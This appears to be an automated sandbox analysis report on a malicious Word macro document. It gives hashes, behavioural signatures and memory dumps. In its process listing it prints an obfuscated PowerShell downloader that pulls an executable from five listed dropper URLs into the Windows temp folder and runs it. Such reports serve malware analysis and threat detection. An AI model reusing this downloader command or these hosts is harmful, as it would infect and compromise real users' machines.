Analysis

  • max time kernel
    117s
  • max time network
    121s
  • platform
    windows7_x64
  • resource
    win7-20240221-en
  • resource tags

    arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
  • submitted
    20-05-2024 09:02

General

  • Target

    5e40afb62420bbc6ad25da48721f29eb_JaffaCakes118.doc

  • Size

    266KB

  • MD5

    5e40afb62420bbc6ad25da48721f29eb

  • SHA1

    c7e7893c679f57b297ccdf7b2da61488f7c9cf0b

  • SHA256

    6038c03c5a2f937de49b0e78c86dd25cc0c2b9677c8b824fa0a71d66b700b881

  • SHA512

    876a42006821d90ca7de7e34b6987ff115d7a9c9de3bfcaced498494285eba060558c8d744773d988c7d691a63a1a133f9c7240ff8b9711ef583aa8543301f6b

  • SSDEEP

    3072:VkhgqkhgACSQKaSx+SbtYqS4fvS7GQRbSVuz1QzC9klhxztsZ5QPwYCUB5BEiudV:VCwQK3RpVS7G4SVuz1QzLhxztsZGPwa

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://doostankhodro.com/fK6qaMppa

exe.dropper

http://dev.worldsofttech.com/TGToBTgXMgJxTL

exe.dropper

http://disticaretpro.tinmedya.com/acmethemes/ifWwmIYow9hVD

exe.dropper

http://debestevakantiedeals.nl/smVjfzShY

exe.dropper

http://tcaircargo.com/fb_personalize/S8cVB2O0FQJxa_IYFMQ5lE

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 3 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\5e40afb62420bbc6ad25da48721f29eb_JaffaCakes118.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2168
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powerSHELL.exe
      powerSHELL $v3l7BE = '$doTS9twI = new-obj0-9902258800ect -com0-9902258800obj0-9902258800ect wsc0-9902258800ript.she0-9902258800ll;$gU2RjaYZe = new-object sys0-9902258800tem.net.web0-9902258800client;$pfpm2AO = new-object random;$FtP5y = \"0-9902258800h0-9902258800t0-9902258800t0-9902258800p0-9902258800://doostankhodro.com/fK6qaMppa,0-9902258800h0-9902258800t0-9902258800t0-9902258800p0-9902258800://dev.worldsofttech.com/TGToBTgXMgJxTL,0-9902258800h0-9902258800t0-9902258800t0-9902258800p0-9902258800://disticaretpro.tinmedya.com/acmethemes/ifWwmIYow9hVD,0-9902258800h0-9902258800t0-9902258800t0-9902258800p0-9902258800://debestevakantiedeals.nl/smVjfzShY,0-9902258800h0-9902258800t0-9902258800t0-9902258800p0-9902258800://tcaircargo.com/fb_personalize/S8cVB2O0FQJxa_IYFMQ5lE\".spl0-9902258800it(\",\");$c4PJiR = $pfpm2AO.nex0-9902258800t(1, 65536);$KLuSv = \"c:\win0-9902258800dows\tem0-9902258800p\152.ex0-9902258800e\";for0-9902258800each($sN1Gne6oK in $FtP5y){try{$gU2RjaYZe.dow0-9902258800nlo0-9902258800adf0-9902258800ile($sN1Gne6oK.ToS0-9902258800tring(), $KLuSv);sta0-9902258800rt-pro0-9902258800cess $KLuSv;break;}catch{}}'.replace('0-9902258800', $N8CMx);$HN5Ckrzw = '';iex($v3l7BE);
      2⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2032
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2792

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

      Filesize

      20KB

      MD5

      add185be76b443446ed3b6ca7609f016

      SHA1

      69e1da2e37c83a8a678f7fe8811d488519098e71

      SHA256

      914a8ae8fd46132a1250c509bf10b26b0d15b35ad63c50292a6278b7358a7c53

      SHA512

      353001960c151ed5ad4137f86e2cc0c6b3ca26101957fb778ebcf81f6a0ca1601b3304afc93ab13a08a69311bb0c8b651aabd87ea62723ea27b02111815ea8a6

    • memory/2032-29-0x0000000005C00000-0x0000000005C4F000-memory.dmp

      Filesize

      316KB

    • memory/2168-21-0x0000000005B70000-0x0000000005C70000-memory.dmp

      Filesize

      1024KB

    • memory/2168-2-0x00000000714AD000-0x00000000714B8000-memory.dmp

      Filesize

      44KB

    • memory/2168-7-0x00000000003C0000-0x00000000004C0000-memory.dmp

      Filesize

      1024KB

    • memory/2168-8-0x00000000003C0000-0x00000000004C0000-memory.dmp

      Filesize

      1024KB

    • memory/2168-20-0x0000000005B70000-0x0000000005C70000-memory.dmp

      Filesize

      1024KB

    • memory/2168-19-0x0000000005B70000-0x0000000005C70000-memory.dmp

      Filesize

      1024KB

    • memory/2168-0-0x000000002FF21000-0x000000002FF22000-memory.dmp

      Filesize

      4KB

    • memory/2168-6-0x00000000003C0000-0x00000000004C0000-memory.dmp

      Filesize

      1024KB

    • memory/2168-31-0x00000000714AD000-0x00000000714B8000-memory.dmp

      Filesize

      44KB

    • memory/2168-32-0x00000000003C0000-0x00000000004C0000-memory.dmp

      Filesize

      1024KB

    • memory/2168-33-0x0000000005B70000-0x0000000005C70000-memory.dmp

      Filesize

      1024KB

    • memory/2168-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2168-49-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2168-50-0x00000000714AD000-0x00000000714B8000-memory.dmp

      Filesize

      44KB